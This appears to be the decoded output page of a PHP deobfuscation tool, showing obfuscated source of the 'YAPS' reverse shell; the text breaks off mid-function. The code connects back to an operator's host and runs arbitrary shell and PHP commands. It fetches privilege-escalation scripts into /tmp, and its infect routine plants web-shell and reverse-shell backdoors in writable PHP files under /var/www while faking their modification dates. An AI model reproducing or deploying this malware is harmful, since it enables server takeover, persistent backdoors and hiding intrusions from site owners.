Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /* __________________________________________________ | Obfuscated by YAK Pro..
Decoded Output download
<?php
/* __________________________________________________
| Obfuscated by YAK Pro - Php Obfuscator 2.0.14 |
| on 2024-04-04 18:27:27 |
| GitHub: https://github.com/pk-fr/yakpro-po |
|__________________________________________________|
*/
goto JMUGz; aJdR4: ini_set("default_socket_timeout", pow(99, 6)); goto nCd4J; zlVrl: czOW3(); goto CzWyS; Bw2dj: $EhHpY = $_SERVER["SCRIPT_FILENAME"]; goto n2PRj; HZHPd: function czQ9m($rFV9h) { try { goto YlfSP; PbGH6: ob_end_clean(); goto ckewG; GM5qL: eval($rFV9h); goto fvd1h; fvd1h: $i38Bj = ob_get_contents(); goto PbGH6; YlfSP: ob_start(); goto GM5qL; ckewG: } catch (Throwable $srk7C) { $P0Bdv = explode("Stack trace:", $srk7C); $i38Bj = $P0Bdv[0]; } return $i38Bj; } goto w5lY4; dm7dR: set_time_limit(0); goto gYSdN; IOUb8: function VJK3r($Lz63_, $rvjgd, $DvC08, $SXU1U, $K2VNX = 1) { goto tgyJq; wr9sI: return; goto nlij9; YtV7p: fwrite($uAREj, Uih9I("
[!] ") . ymaPN("Files to infect:\xa")); goto C7GO1; B35nn: UI6RY: goto tbULK; O_Dnv: return; goto wBOTd; X4Syp: pxIm9: goto p79Sl; yMsQy: tv0av: goto wr9sI; tbULK: if (!($WDRCn = fread($uAREj, 128))) { goto dvqLO; } goto ujWJl; Ls03d: $R36Nt = $SXU1U[array_keys($SXU1U)[$DvC08]]; goto YtV7p; C7GO1: foreach ($rvjgd as $t3YQ8) { fwrite($uAREj, $Lz63_[$t3YQ8] . "
"); KMoxj: } goto X4Syp; dZAdC: fwrite($uAREj, CEJHd("[?] ") . ymApn("Are you sure you want to infect those files? [Y/n]")); goto B35nn; dOqgC: goto UI6RY; goto JQu_D; aowjs: fwrite($uAREj, uIH9I("[!] ") . ymaPN("Position: ") . $RgHUy . "
"); goto dZAdC; fslcB: foreach ($rvjgd as $t3YQ8) { goto IfQdr; IfQdr: $j7MsT = $Lz63_[$t3YQ8]; goto yiRf3; dcyKJ: ghPK4: goto ZooJd; ta9nH: I1A6F: goto Cd3Df; YIBsw: fwrite($uAREj, rm3Ui("[+] ") . YmapN("Mantained original 'modified date' (" . $uUi6C . ").
")); goto ner0j; M0xjc: $hUeeX = file_get_contents($j7MsT); goto ls1fL; ls1fL: $uUi6C = str_replace("
", '', BzvNc("stat " . $j7MsT . " | grep Modify | sed "s/Modify: //"")); goto P6Dq4; yiRf3: if (!(HhLP3("file_get_contents") && hhlP3("file_put_contents"))) { goto I1A6F; } goto M0xjc; ner0j: VJPfM: goto ta9nH; Cd3Df: yG8ZP: goto WGZx3; K5fs_: $i38Bj = $C32fI ? rm3Ui("[+] ") . YmAPN($j7MsT . " was infected with payload !") : lzmti("[-] ") . ymAPn($j7MsT . " Error!"); goto pBbo7; ZooJd: $C32fI = file_put_contents($j7MsT, "
" . $R36Nt, FILE_APPEND) ? 1 : 0; goto cakp5; dz4Wj: $C32fI = file_put_contents($j7MsT, $R36Nt . "\xa" . $hUeeX) ? 1 : 0; goto Pzav0; P6Dq4: if ($K2VNX) { goto ghPK4; } goto dz4Wj; XCvXC: if (!bZVNC("touch -d " . """ . $uUi6C . "" " . $j7MsT)) { goto VJPfM; } goto YIBsw; cakp5: LjFzp: goto K5fs_; Pzav0: goto LjFzp; goto dcyKJ; pBbo7: fwrite($uAREj, $i38Bj . "\xa"); goto XCvXC; WGZx3: } goto yMsQy; SPyxv: goto dvqLO; goto dOqgC; tKg44: $RgHUy = $K2VNX ? "End of file" : "Beginnig of file"; goto aowjs; ujWJl: if (!(strtolower(substr($WDRCn, 0, 1)) == "n")) { goto mmE5k; } goto O_Dnv; wBOTd: mmE5k: goto SPyxv; JQu_D: dvqLO: goto fslcB; tgyJq: global $uAREj; goto Ls03d; p79Sl: fwrite($uAREj, uIh9i("[!] ") . ymApN("Payload: ") . $SXU1U[array_keys($SXU1U)[$DvC08]] . "\xa"); goto tKg44; nlij9: } goto YaCvK; H4kyF: function RM3ui($bQ2ee) { global $ClNqn; return $ClNqn ? "\x1b[92m" . $bQ2ee . "\33[0m" : $bQ2ee; } goto c5Pzw; hfSnH: $vz1IG = array("all-colors", "color", "duplicate", "enum", "help", "infect", "info", "passwd", "php", "stabilize", "suggester"); goto H4kyF; UgTp6: $CjcQS = $argv[$argc - 1]; goto p3eaK; B2xYa: J2gPr: goto J8NCM; ZBwG1: $uUZsy = "v_3_r_Y___G_o_0_d___s_4_L_t"; goto v0h68; veAgt: if (!(php_sapi_name() == "cli")) { goto MNvlR; } goto yAdGD; nVCFn: function QsI61() { goto SV3tv; Mifx4: vIsRe: goto UEVRz; j4oeU: if (!(substr($bNZa2, 0, -1) == "!php")) { goto qbHty; } goto RFq5p; dPd4z: Wxc5g: goto PAx_E; SbK3Y: $zk4yc = ''; goto ljy7R; vYYqG: qbHty: goto i8EpE; ELu9H: aFEBz: goto WiqQC; ljy7R: fwrite($uAREj, cEjhD("[*]") . " Write your PHP code (*without* PHP tags). To send and run it, use " . rm3UI("!php") . ". " . Uih9I("
[i] Note that this is NOT an interactive PHP shell. Max input: 4096 bytes.") . YMapN("\xaphp> ")); goto ELu9H; hrxNa: goto aFEBz; goto Mifx4; RFq5p: return $zk4yc; goto vYYqG; PAx_E: fwrite($uAREj, yMAPN("php> ")); goto tQBvY; UEVRz: return $zk4yc; goto zKntQ; tQBvY: $zk4yc .= $bNZa2; goto hrxNa; WiqQC: if (!($bNZa2 = fread($uAREj, 4096))) { goto vIsRe; } goto j4oeU; i8EpE: if (!(substr($bNZa2, 0, -1) == "!cancel")) { goto Wxc5g; } goto j77O5; SV3tv: global $uAREj; goto SbK3Y; j77O5: return 0; goto dPd4z; zKntQ: } goto HZHPd; YaCvK: function aoHHH($sIHbJ) { goto iQwjW; iQwjW: global $uAREj, $ClNqn; goto YLgPu; YLgPu: switch (substr($sIHbJ, 0, -1)) { case "!all-colors": $ClNqn = !$ClNqn; goto z9P6Y; case "!info": return yYiTv(); goto z9P6Y; case "!enum": return AXk_3(); goto z9P6Y; case "!suggester": return MEpQE(); goto z9P6Y; case "!color": xTds8(true); goto z9P6Y; case "!help": return bRebe(); goto z9P6Y; case "!php": goto A_30j; smMop: fwrite($uAREj, uIH9i("[i] Code canceled.") . PHP_EOL); goto YFdv1; A_30j: $J9WMu = QsI61(); goto dbsFZ; BSkhU: $i38Bj = cZq9M($J9WMu); goto OJFPX; dbsFZ: if ($J9WMu !== 0) { goto HCXQf; } goto smMop; KMemZ: HCXQf: goto BSkhU; YFdv1: goto zlxVM; goto KMemZ; iXrjF: goto z9P6Y; goto BE3zL; OJFPX: fwrite($uAREj, $i38Bj); goto ZAwb8; ZAwb8: zlxVM: goto iXrjF; BE3zL: case "!stabilize": Efz2Z(); goto z9P6Y; case "!backdoor": M25sq(); goto z9P6Y; case "!passwd": PLGiC(); goto z9P6Y; case "!duplicate": b6sAl(); goto z9P6Y; case "!infect": kLJ6w(); goto z9P6Y; } goto X5UxC; wbagj: z9P6Y: goto laizs; X5UxC: MZ_g5: goto wbagj; laizs: } goto gGtkD; hxy3O: die(NTGbG()); goto jySDw; HFUZx: function bREBE() { $IMSUg = "
" . rm3uI("Useful commands:") . "
" . CEjhd("!help") . "\xa Display this menu
" . cEjHd("!all-colors") . "
\x9Toggle all colors (locally only)
" . ceJHd("!color") . "\xa \x9Toggle $PS1 color (locally only)
" . ceJhd("!duplicate") . "\xa \x9Spawn another reverse shell
" . cejhD("!enum") . "\xa Download Linpeas and Linenum to /tmp and get it ready to run\xa " . cEJhd("!infect") . "\xa Inject payloads into PHP files
" . cEJhd("!info") . "\xa List information about target\xa " . cejHd("!passwd") . "\xa \x9Show options for password \xa " . cEJhD("!php") . "
Write and run PHP code on the remote host
" . CEJHd("!stabilize") . "\xa \x9Stabilize to an interactive shell
" . Cejhd("!suggester") . "\xa \x9Download Linux Exploit Suggester to /tmp and get it ready to run\xa \xa" . Rm3uI("Command line options:") . "\xa " . YmAPN("$ php yaps.php [--update|-u]") . "\xa \x9Check if YAPS is up to date\xa " . ymAPN("$ php yaps.php ip port") . "
Connect to ip:port\xa"; return $IMSUg; } goto yJZWv; JMUGz: $XmTBN = "1.3.1"; goto dm7dR; B5wRw: function czOW3() { goto cH6G5; r29JD: f9bls: goto wZGGL; nwDX0: inj1g: goto YMTXR; vuvKz: fclose($uAREj); goto krwcw; wZGGL: xTds8(); goto Unb5A; NJ6uD: goto ySxA7; goto vOgK5; u6aqY: if (!$KQI8m) { goto lJjvo; } goto AMrME; XIYbJ: if (!($bNZa2 = fread($uAREj, 2048))) { goto SRT0L; } goto e217Q; u8r6Y: fwrite($uAREj, "\xa" . $gSKFu); goto glRx0; sFw2e: die; goto O2u39; dQU58: h_U9C: goto cVefE; fBIkS: fclose($uAREj); goto sFw2e; lIamN: SWlmc: goto PxkV3; Lh4zS: RJi8r: goto LlAGZ; J3Fv0: Pax6N: goto U_rU9; U_rU9: if (in_array(strtolower(substr($bNZa2, 1, -1)), $vz1IG)) { goto SWlmc; } goto FDRWD; sWgLM: if (!($ar5qv === false)) { goto f9bls; } goto HwdSW; bBH90: if (hhLp3("fsockopen")) { goto t1CDg; } goto rKBOJ; TBw0b: fwrite($uAREj, v9Mu0() . "
"); goto nwDX0; JWLqB: if (substr($bNZa2, 0, -1) == "exit") { goto SwZuv; } goto YNJI0; cVefE: lJjvo: goto Xpfpr; Xpfpr: if (!(!isset($_REQUEST["silent"]) && !isset($_REQUEST["s"]) && !$BqeWQ)) { goto inj1g; } goto TBw0b; rKBOJ: die(LZMtI("[-]") . " Function 'fsockopen' isn't available."); goto nkBwq; LYHVp: goto IB65f; goto x9fhw; cH6G5: global $KQI8m, $vz1IG, $gSKFu, $uAREj, $BqeWQ; goto BBmAM; vOgK5: SRT0L: goto vuvKz; nzn_T: chdir(substr($bNZa2, 3, -1)); goto LYHVp; lL4LK: uXhVA: goto nzn_T; x9fhw: SwZuv: goto A1bdp; AMrME: if (m27Fs()) { goto h_U9C; } goto LQgl2; cpQUj: goto RJi8r; goto lIamN; YMTXR: XtDs8(); goto u8r6Y; FDRWD: G7WgI(substr($bNZa2, 1, -1)); goto cpQUj; c1EyP: goto SRT0L; goto r29JD; HwdSW: fwrite($uAREj, lZMTI("[-] There are no exec functions")); goto c1EyP; d2N1o: goto IB65f; goto J3Fv0; e217Q: $ar5qv = ''; goto kz_jA; A1bdp: fwrite($uAREj, UiH9I("[i] ") . "Closing connection.
"); goto fBIkS; O2u39: IB65f: goto sWgLM; glRx0: ySxA7: goto XIYbJ; nkBwq: t1CDg: goto u6aqY; LlAGZ: goto IB65f; goto lL4LK; Unb5A: fwrite($uAREj, $ar5qv . $gSKFu); goto NJ6uD; PxkV3: $ar5qv = AoHHH($bNZa2); goto Lh4zS; kz_jA: if (substr($bNZa2, 0, 1) == "!") { goto Pax6N; } goto zsgxT; BBmAM: xTdS8(1); goto bBH90; zsgxT: if (substr($bNZa2, 0, 3) == "cd ") { goto uXhVA; } goto JWLqB; LQgl2: die(fwrite($uAREj, LZmTI("[-]") . " Wrong password.\xa")); goto dQU58; YNJI0: $ar5qv = BZvNc(substr($bNZa2, 0, -1)); goto d2N1o; krwcw: } goto D9Cb3; K_HTG: function KLj6W() { goto jjx5o; C41Rm: if (!($LX188 = fread($uAREj, 1024))) { goto GNpp7; } goto srf7i; Xhhis: iNDIq: goto m0AMp; agQlA: if (!($MODFS < count($BJg1i))) { goto wAeft; } goto YuHZY; xVjjF: xSG_z($BJg1i, array_unique($eowsL)); goto rriJ2; xTeHL: return; goto Xhhis; GXpaK: GNpp7: goto SSbDT; CaczC: $BJg1i = array(); goto SGscI; SGscI: foreach ($y9OB0 as $JeTvK) { try { $EOdvX = wXEpd($JeTvK); $BJg1i = array_merge($BJg1i, $EOdvX); } catch (Exception $Ja3h6) { } KDyzl: } goto A8sTw; awzLG: crrcD: goto C41Rm; A8sTw: DcIFA: goto hSEO6; YuHZY: fwrite($uAREj, lZMTI("[{$MODFS}] ") . $BJg1i[$MODFS] . PHP_EOL); goto AQ1gG; gBwnN: sort($eowsL, SORT_NUMERIC); goto xVjjF; TWjf4: $y9OB0 = array("/var/www/", "/srv/", "/usr/local/apache2/", "/var/apache2/", "/var/www/nginx-default/"); goto CaczC; m0AMp: $eowsL = array(); goto gOnZy; S53p5: if (!(count($KD2XW) == 1 && $KD2XW[0] == '')) { goto iNDIq; } goto xTeHL; P7W_n: goto X9aNg; goto wSIZn; NCJMG: WAXY_: goto fp4dm; fp4dm: $MODFS = 0; goto I6BJm; PiIqE: Satek: goto gBwnN; rq5F6: fwrite($uAREj, Cejhd("[*] ") . yMAPN("Found " . count($BJg1i) . " writable PHP files:\xa")); goto NCJMG; mFlpA: fwrite($uAREj, cejHd("
[*] ") . YmAPn("Choose the files you want to infect.\xa Separate by comma (e.g:1,5,7,8) and/or by range (e.g:10-16).
Files: ")); goto awzLG; rriJ2: return; goto P_XZU; srf7i: $KD2XW = str_replace(" ", '', substr($LX188, 0, -1)); goto PqeEf; PqeEf: $KD2XW = explode(",", $KD2XW); goto S53p5; hSEO6: if (!(count($BJg1i) > 0)) { goto WAXY_; } goto rq5F6; wSIZn: wAeft: goto mFlpA; AQ1gG: ci1MK: goto oFHv8; P_XZU: goto crrcD; goto GXpaK; I6BJm: X9aNg: goto agQlA; oFHv8: $MODFS++; goto P7W_n; jjx5o: global $uAREj; goto TWjf4; gOnZy: foreach ($KD2XW as $cPjcu) { goto x31of; JGgkW: j71iF: goto FzfcU; uVYes: if (!((int) $MODFS <= $Awld1[1])) { goto jvKcZ; } goto LtOQp; q80JF: LcwEX: goto RkQWq; aA2lZ: if (!((int) $Awld1[0] < (int) $Awld1[1])) { goto sYStb; } goto lZ8ir; mJP3p: Bs4xZ: goto q80JF; lZ8ir: $MODFS = (int) $Awld1[0]; goto dr3v6; mVyME: array_push($eowsL, $cPjcu); goto hjD2t; l79U0: jvKcZ: goto SsiTe; FzfcU: $MODFS++; goto pAVqJ; dr3v6: jRf0h: goto uVYes; pAVqJ: goto jRf0h; goto l79U0; CvgcJ: if (!preg_match("/^[0-9]+\-[0-9]+$/", $cPjcu)) { goto Bs4xZ; } goto QQlY0; LtOQp: array_push($eowsL, $MODFS); goto JGgkW; hjD2t: Loj3L: goto CvgcJ; SsiTe: sYStb: goto mJP3p; x31of: if (!preg_match("/^[0-9]+$/", $cPjcu)) { goto Loj3L; } goto mVyME; QQlY0: $Awld1 = explode("-", $cPjcu); goto aA2lZ; RkQWq: } goto PiIqE; SSbDT: } goto Aj1pL; iUYCi: function CejHD($bQ2ee) { global $ClNqn; return $ClNqn ? "\x1b[96m" . $bQ2ee . "\33[0m" : $bQ2ee; } goto rvUIS; i3xUL: function HHlP3($GEbId) { goto e6y8F; rEpOX: $et_m0 = explode(",", $et_m0); goto VF1TO; cotKa: $et_m0 = array(); goto G1i_q; e6y8F: $et_m0 = ini_get("disable_functions"); goto Xr8J0; p_Ziu: $et_m0 = preg_replace("/[, ]+/", ",", $et_m0); goto rEpOX; G1i_q: goto rTqWt; goto Hezcx; hCxXy: if (!(is_callable($GEbId) and !in_array($GEbId, $et_m0))) { goto xSrVc; } goto MoHks; MoHks: return true; goto zWRAy; VF1TO: $et_m0 = array_map("trim", $et_m0); goto BYZOn; zWRAy: xSrVc: goto kbzLL; BYZOn: rTqWt: goto hCxXy; Hezcx: pdyjU: goto p_Ziu; kbzLL: return false; goto o4G5z; Xr8J0: if (!empty($et_m0)) { goto pdyjU; } goto cotKa; o4G5z: } goto HFUZx; gGtkD: function G7WgI($TiuDK) { goto WJE2_; kUQnB: return; goto p00eP; WJE2_: global $uAREj, $vz1IG; goto XExEG; BnWFV: fwrite($uAREj, uIh9i("[!] ") . "Command '!" . substr($bNZa2, 1, -1) . "' not found. Use !help.\xa"); goto kUQnB; XExEG: foreach ($vz1IG as $JmfRJ) { goto Y70c5; hI8JC: return; goto XoOmW; Y70c5: similar_text($TiuDK, $JmfRJ, $u97Yb); goto Qq9NX; XoOmW: Uxz3D: goto f9LGb; Qq9NX: if (!($u97Yb > 70)) { goto Uxz3D; } goto nBqTe; f9LGb: pjpT4: goto XnWS6; nBqTe: fwrite($uAREj, UiH9i("[!] ") . "Command '!{$TiuDK}' not found. Did you mean '!" . $JmfRJ . "'?.\xa"); goto hI8JC; XnWS6: } goto qw5Q2; qw5Q2: Jon77: goto BnWFV; p00eP: } goto B5wRw; k9Frq: function B6SAl() { goto ysJIN; pnm3O: goto guM0y; goto SiaeP; SiaeP: goto TnQlC; goto bz7cG; kP5SX: $kDqsR = base64_encode($kDqsR) == "Cg==" ? $CjcQS : substr($kDqsR, 0, -1); goto kSZiQ; vqnpF: $RlFkX = $_SERVER["REQUEST_SCHEME"] . "://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; goto tpU5_; jbgPM: if (!($fDsny = fread($uAREj, 256))) { goto guM0y; } goto X77z1; Nl72R: $TiuDK = "wget -qO- --post-data="" . http_build_query($e18Ij) . "" {$RlFkX} > /dev/null"; goto EvogB; wd2hF: return; goto VprE3; X77z1: if (!(OPhCx(preg_replace("/
/", '', $fDsny . "?vrfy")) !== "baguvix")) { goto lnIwe; } goto gm9kN; ysJIN: global $uAREj, $Wl17t, $CjcQS, $_SERVER; goto ZEqrc; wnje4: lnIwe: goto pnm3O; ZEqrc: if (!isset($_SERVER["REQUEST_SCHEME"]) || !isset($_SERVER["HTTP_HOST"]) || !isset($_SERVER["REQUEST_URI"])) { goto yp_PS; } goto vqnpF; VR3MX: EyfZv: goto o_sEe; zhR8o: bZVnC("timeout --kill-after 0 1 " . $TiuDK); goto ikKQx; ikKQx: goto UnyL7; goto VR3MX; s2AEB: $RlFkX = $fDsny; goto tIY2x; o_sEe: pclose(popen($TiuDK . " &", "r")); goto vXE79; tpU5_: echo $RlFkX; goto PLIAQ; soyqq: fwrite($uAREj, cejHd("[*] ") . "Choose a port to listen (default: {$CjcQS}): "); goto Xzbmf; QuLyL: ev9o4: goto Yjb33; tIY2x: D68p5: goto soyqq; bz7cG: guM0y: goto s2AEB; kSZiQ: $e18Ij = array("x" => $Wl17t . ":" . $kDqsR); goto ehlCx; vXE79: UnyL7: goto wd2hF; Xzbmf: XmLDu: goto zXkhy; gm9kN: return fwrite($uAREj, lZMti("[-] ") . "Couldn't validade YAPS URL. Is this the correct URL?\xa"); goto wnje4; ehlCx: fwrite($uAREj, "Connecting to " . $Wl17t . ":" . $kDqsR . "\xa"); goto Nl72R; DBCdl: fwrite($uAREj, uIh9i("[-] ") . "Couldn't find YAPS URL. Did you run me via command line?\xaPlease provide the correct YAPS URL (example.com/files/yaps.php): "); goto WUmn1; WUmn1: TnQlC: goto jbgPM; VprE3: goto XmLDu; goto QuLyL; zXkhy: if (!($kDqsR = fread($uAREj, 32))) { goto ev9o4; } goto kP5SX; o0z1C: yp_PS: goto DBCdl; PLIAQ: goto D68p5; goto o0z1C; EvogB: if (hhLp3("popen") && hHlP3("pclose")) { goto EyfZv; } goto zhR8o; Yjb33: } goto qSrcY; c5Pzw: function lZMTi($bQ2ee) { global $ClNqn; return $ClNqn ? "\x1b[91m" . $bQ2ee . "\33[0m" : $bQ2ee; } goto Jm4uO; VMfff: if (!(isset($Iw5kV["s"]) || isset($Iw5kV["silent"]))) { goto BLOlo; } goto KfakJ; FYEb5: $Wl17t = "127.0.0.1"; goto eTL8h; jEDop: $yR2xc = "u::h::s::"; goto sLe3K; cBNkT: function AXK_3() { goto Zf0Ep; vFj_Y: paUN1: goto K2U2E; bFcXz: if (!$sGEvp) { goto mS_9E; } goto YcyAN; uQ0eh: goto paUN1; goto Wsceb; dT4Bv: ESHHW: goto f1SqI; Yg2Mu: fwrite($uAREj, RM3UI("[+]") . " Linpeas saved to /tmp/" . $PDetf . CEJhD("
[i] Changing permissions...\xa")); goto NMBkM; WYk0g: if (chmod("/tmp/" . $sGEvp, 777)) { goto A4Hih; } goto w4pIp; NfIu8: goto ESHHW; goto Efxjv; w4pIp: fwrite($uAREj, UIh9i("[!]") . " Couldn't change permissions...
[i] File was saved in " . Uih9I("/tmp/" . $sGEvp . "
")); goto uQ0eh; Kq9Rm: if (!$PDetf) { goto HusSH; } goto Yg2Mu; YcyAN: fwrite($uAREj, rm3ui("[+] Linenum saved to /tmp/" . $sGEvp) . cejHd("\xa[i] Changing permissions...\xa")); goto WYk0g; eXTO6: fwrite($uAREj, RM3uI("[+]") . " Permissions changed!
[i] You can run it with " . uiH9I("sh /tmp/" . $sGEvp . " | tee /tmp/linenum.log\xa")); goto vFj_Y; pvhHP: $PDetf = mMRWo($LJ6mT["linpeas"], "/tmp/"); goto DFP_n; DFP_n: $sGEvp = MMrwO($LJ6mT["linenum"], "/tmp"); goto Kq9Rm; Wsceb: A4Hih: goto eXTO6; HSpIC: fwrite($uAREj, Uih9i("[!]") . " Couldn't change permissions... \xa[i] File was saved in " . uiH9i("/tmp/" . $PDetf . "\xa\xa")); goto NfIu8; K2U2E: mS_9E: goto A26fS; f1SqI: HusSH: goto bFcXz; ht47S: fwrite($uAREj, rM3uI("[+]") . " Permissions changed!
[i] You can run it with " . uih9i("sh /tmp/" . $PDetf . " | tee /tmp/linpeas.log
")); goto dT4Bv; Zf0Ep: global $uAREj, $LJ6mT; goto pvhHP; NMBkM: if (chmod("/tmp/" . $PDetf, 777)) { goto PxXmj; } goto HSpIC; Efxjv: PxXmj: goto ht47S; A26fS: } goto YOA2A; uAvjk: $CjcQS = $eMd2e[1]; goto UwwF6; I5NDM: function V9mu0() { global $KmlyU; return $KmlyU . YMapn("
This is ") . lZMTI("NOT") . YMAPn(" an interactive shell.
Use ") . RM3UI("!help") . YmapN(" to see commands."); } goto FuViR; a5ta1: NxhnN: goto VMfff; nCd4J: $LJ6mT = array("linpeas" => "https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh", "linenum" => "https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "suggester" => "https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh", "verifyUpdateURL" => "https://raw.githubusercontent.com/Nickguitar/YAPS/main/version", "updateURL" => "https://raw.githubusercontent.com/Nickguitar/YAPS/main/yaps.php"); goto FYEb5; lzKyy: function xTds8($plqQw = false) { goto MiJ2U; t5KHq: goto oJiHx; goto NfTEo; kHd4E: if (!$cXy80) { goto g0qnn; } goto PNA6b; AbKU4: if (!$plqQw) { goto NRD90; } goto D6sVk; AaaFn: p_CaC: goto AbKU4; FOmfZ: $gSKFu = YmaPN("[YAPS] ") . str_replace(PHP_EOL, '', $L7aId . "@" . bZVNC("hostname") . ":" . bZVNC("pwd") . "# "); goto fs9u1; evxAZ: if (!$plqQw) { goto HplYa; } goto tBLMy; NfTEo: g0qnn: goto KvoXF; e4it0: $L7aId = str_replace(PHP_EOL, '', BzVnC("whoami")); goto kHd4E; D6sVk: $cXy80 = true; goto mP89f; vz1An: HplYa: goto t5KHq; PNA6b: $gSKFu = ymApn("[YAPS] ") . str_replace(PHP_EOL, '', $L7aId . "@" . BZVnC("hostname") . ":" . bZvNc("pwd") . "$ "); goto eo2R1; mP89f: NRD90: goto VTVRk; xiVuG: $gSKFu = yMapN("[YAPS] ") . str_replace(PHP_EOL, '', LZmTi($L7aId . "@" . bZVnC("hostname")) . ":" . ceJHD(BzvnC("pwd")) . "# "); goto AaaFn; KvoXF: $gSKFu = YMApn("[YAPS] ") . str_replace(PHP_EOL, '', rm3UI($L7aId . "@" . BZvnc("hostname")) . ":" . ceJHd(BZVNc("pwd")) . "$ "); goto VjyFi; MiJ2U: global $cXy80, $gSKFu; goto e4it0; VTVRk: oJiHx: goto l68Cf; tBLMy: $cXy80 = false; goto vz1An; fs9u1: lTFsw: goto evxAZ; VjyFi: if (!($L7aId == "root")) { goto p_CaC; } goto xiVuG; eo2R1: if (!($L7aId == "root")) { goto lTFsw; } goto FOmfZ; l68Cf: } goto nVCFn; D9Cb3: if (!$zQ6An) { goto CtuXZ; } goto ZctMm; T612H: ini_set("max_execution_time", 0); goto aJdR4; p3eaK: $Wl17t = $argv[$argc - 2]; goto PBX0e; PBX0e: Q7Sy7: goto sH3qR; GTfrS: if (isset($_REQUEST["stabilize"]) && $_REQUEST["stabilize"]) { goto ANv1f; } goto FwpcA; KyOFO: if (!isset($_GET["vrfy"])) { goto W5qCe; } goto eH1Oj; Aj1pL: function xSg_z($Lz63_, $eowsL) { goto xRy4p; rgdev: $YOPgi = 0; goto iLqsH; eCbT8: $MODFS = true; goto jPPGo; nNLec: return; goto Kc3a3; sCOY0: K0riw: goto tyxyc; EOCTb: fwrite($uAREj, CEjHD("\xa[?] ") . YMapN("Choose a payload to infect the selected files (default:0): ")); goto qxGZ4; dbyMq: if (!($K2VNX = fread($uAREj, 128))) { goto K0riw; } goto cod94; jPPGo: foreach ($za02k as $MVIQj => $rFV9h) { goto I5KE4; rnccZ: omIfN: goto xEWLK; gtgfa: fwrite($uAREj, $kgIXC . "
"); goto bFDxO; I5KE4: $kgIXC = $MODFS ? cEjHd($MVIQj) . $rFV9h : CejHD($MVIQj) . ymaPN($rFV9h); goto gtgfa; bFDxO: $MODFS = !$MODFS; goto rnccZ; xEWLK: } goto V6SB8; wvIPE: $za02k = array("0. TinyRCE\x9" => "<?=`$_REQUEST[0]`;?>", "1. ClassicRCE " => "<?=@system($_REQUEST[0]);?>", "2. Eval " => "<?=@eval($_REQUEST[0]);?>", "3. BasedEval\x9" => "<?=@eval(base64_decode($_REQUEST[0]));?>", "4. RemotePHP\x9" => "<?=@eval(file_get_contents($_REQUEST[0]));?>", "5. RemoteUpload " => "<?=$x=rand(100,999);@file_put_contents("./".$x.".".$_REQUEST[1],@file_get_contents($_REQUEST[0]));echo $x.$_REQUEST[1];?>", "6. LocalUpload " => "<?php if(isset($_FILES["0"]))if(move_uploaded_file($_FILES["0"]["tmp_name"],"_".$_FILES["0"]["name"]))echo"Uploaded: _".$_FILES["0"]["name"];?>", "7. StableShell " => "<?php $a="script -qc /bin/bash /dev/null";umask(0);$b=fsockopen($_REQUEST[0],$_REQUEST[1],$c,$d,30);$e=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));$f=proc_open($a,$e,$g);foreach($g as $p)stream_set_blocking($p,0);stream_set_blocking($b,0);while(!feof($b)){$i=array($b,$g[1],$g[2]);if(in_array($b,$i))fwrite($g[0],fread($b,2048));if(in_array($g[1],$i))fwrite($b,fread($g[1],2048));if(in_array($g[2],$i))fwrite($b,fread($g[2],2048));}fclose($b);foreach($g as $p)fclose($p);proc_close($f);?>"); goto R9cB3; qxGZ4: yCiQZ: goto U_kVG; jM1yV: $K2VNX = 0; goto RxXqn; FGRqK: if (!((int) $K2VNX === 0)) { goto cEWzQ; } goto jM1yV; cod94: $K2VNX = 1; goto FGRqK; R9cB3: fwrite($uAREj, cEjHD("\xa[i] ") . yMaPN("List of payloads available:
")); goto eCbT8; e6osg: xXGX0: goto dbyMq; V6SB8: CXaw1: goto EOCTb; RxXqn: cEWzQ: goto VpLPR; iLqsH: if (!((int) $LHCo2 <= count($za02k) + 1)) { goto AvhsY; } goto b1kcu; P4j12: AvhsY: goto oImTz; xRy4p: global $uAREj; goto wvIPE; AbSeF: goto yCiQZ; goto vxVFQ; b1kcu: $YOPgi = $LHCo2; goto P4j12; MOQ7L: fwrite($uAREj, CeJHD("[?] ") . YmApn("Do you want do insert the payload at the beginning [0] or end [1] of the file (default: 1)? ")); goto e6osg; oImTz: goto B4sK7; goto AbSeF; tyxyc: vjK3r($Lz63_, $eowsL, (int) $YOPgi, $za02k, (int) $K2VNX); goto nNLec; VpLPR: goto K0riw; goto vv3_Z; vxVFQ: B4sK7: goto MOQ7L; vv3_Z: goto xXGX0; goto sCOY0; U_kVG: if (!($LHCo2 = fread($uAREj, 128))) { goto B4sK7; } goto rgdev; Kc3a3: } goto IOUb8; T5sbc: $KmlyU = CEjHD("
o o O o--o o-o
\ / / \ | ) (\xa O o---o O--o o-o\xa | | | | )
o o o o o--o
Yet Another PHP Shell") . "
Version " . $XmTBN . "\xa Coder: Nicholas Ferreira"; goto jEDop; vGyvo: $BqeWQ = false; goto KyOFO; sLe3K: $RkFaU = array("update::", "help::", "silent::"); goto YGibI; gYSdN: ignore_user_abort(1); goto T612H; YOA2A: function MepQE() { goto r9yaG; r9yaG: global $uAREj, $LJ6mT; goto ozjJg; ozjJg: $CAanw = MMrwo($LJ6mT["suggester"], "/tmp/"); goto EIHBc; qadk1: sO6BW: goto S7XOo; S7XOo: return; goto IVA6s; K62JA: goto fw9ex; goto nKn9q; QDdHp: if (chmod("/tmp/" . $CAanw, 777)) { goto tk3CY; } goto RGmNI; EIHBc: if (!$CAanw) { goto sO6BW; } goto wFXl3; nKn9q: tk3CY: goto bgJoB; bgJoB: fwrite($uAREj, RM3ui("[+]") . " Permissions changed! \xa[i] You can run it with " . uiH9I("sh /tmp/" . $CAanw . " | tee /tmp/LES.log
